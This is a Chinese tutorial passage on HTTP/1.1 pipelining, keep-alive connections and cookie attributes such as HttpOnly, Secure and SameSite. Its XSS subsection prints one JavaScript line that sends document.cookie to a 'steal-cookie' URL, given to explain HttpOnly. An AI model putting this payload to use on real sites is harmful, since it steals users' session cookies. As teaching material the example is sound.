HTTP常用请求头大揭秘 (4)

image-20200912220728678

多个HTTP请求可以连续发送出去,而不用等待已发送请求的响应,请求和响应都是通过FIFO队列进行的。

不过由于TCP是严格按照顺序进行传输数据的,前面的TCP数据丢失,就会导致阻塞后续的分组数据,这也就是TCP的队头阻塞。

管道化长连接有何问题?

根据上面的分析可知,HTTP管道有如下问题:

慢响应会导致TCP队头阻塞(HOL blocking),影响后续请求;

如果前面的某个响应失败了,会导致TCP连接终止,那么未响应的请求都得重新进行发送了;

如果请求链中有很多中间代理,代理对管道的兼容性则成为了问题,很有可能导致管道机制失效,因为大多数HTTP代理不通过管道进行传输;

由于FIFO机制,导致有些请求被接收之后,还保持了不必要的很长的时间;

...

基于以上众多问题,在所有主要浏览器中,只有Opera浏览器才在默认情况下启用管道机制,其他浏览器基本默认不启用管道机制。

4.3.5、长连接如何改善

我们知道,长连接有如下缺点:

由于保持连接,影响服务器性能;

可能发生队头阻塞,造成信息延迟。

HTTP的多路复用技术支持多个请求同时发送,类似于多线程的并发机制,更充分的利用到了建立好的一个长连接。

HTTP2相关特性我们后面再详细介绍。

4.4、HTTP/1.1的Cookie机制

由于HTTP是无状态的,于是出现Cookie和Session,为HTTP弥补了状态存储的问题。

HTTP Cookie是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。

就像我们去公司报道,公司给你办理了一张工卡,门口的保安大哥可不会记住哪些人是公司的,于是只能叫你出示工卡。如果把公司比作服务器的话,这张工卡就相当于Cookie,我们每次出示工卡给保安大哥,于是就验证通过了。

image-20200831223418570

Cookie工作机制:浏览器请求服务器之后,服务器响应头可以添加Set-Cookie字段,浏览器拿到Cookie之后,按域名区分存储起来,下次请求同一个域名的服务器,通过Cookie请求头传给服务端,服务端则可以根据Cookie信息判断到时之前请求的一个客户端。

Cookie关键属性

属性名 作用
Expires   过期时间,一个绝对的时间点  
Max-Age   设置单位为秒的cookie生存期,浏览器优先使用Max-Age  
Domain   指定Cookie所属的域名  
Path   指定Cookie所属的路径前缀,浏览器在发起请求前,判断浏览器Cookie中的Domain和Path是否和请求URI匹配,只有匹配才会附加Cookie  
HttpOnly   指明该Cookie只能通过浏览器的HTTP协议传输,浏览器JS引擎将禁用document.cookie等api,从而避免被不坏好意的人拿到cookie信息。此预防措施有助于缓解跨站点脚本(XSS)攻击。  
Secure   指明只能通过被 HTTPS 协议加密过的请求发送给服务端,但即便设置了 Secure 标记,敏感信息也不应该通过 Cookie 传输,因为 Cookie 有其固有的不安全性,Secure 标记也无法提供确实的安全保障, 例如,可以访问客户端硬盘的人可以读取它  
SameSite   SameSite=None: 浏览器会在同站请求、跨站请求下继续发送 cookies,不区分大小写
SameSite=Strict:限定Cookie不能随着跳转连接跨站发送,只在访问相同站点时发送 cookie
SameSite=Lax:允许GET/HEAD等安全方法,禁止POST跨站点发送,在新版本浏览器中,为默认选项,Same-site cookies 将会为一些跨站子请求保留,如图片加载或者 frames 的调用,但只有当用户从外部站点导航到URL时才会发送
 
4.4.1、Cookie常见安全问题

XSS攻击

通过脚本注入,窃取Cookie,如:

(new Image()).src = "http://www.itzhai.com/steal-cookie?cookie=" + document.cookie;

上面表格中提到的HttpOnly正是为了阻止JavaScript 对其的访问性而能在一定程度上缓解此类攻击。

CSRF跨站请求伪造

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zyypfj.html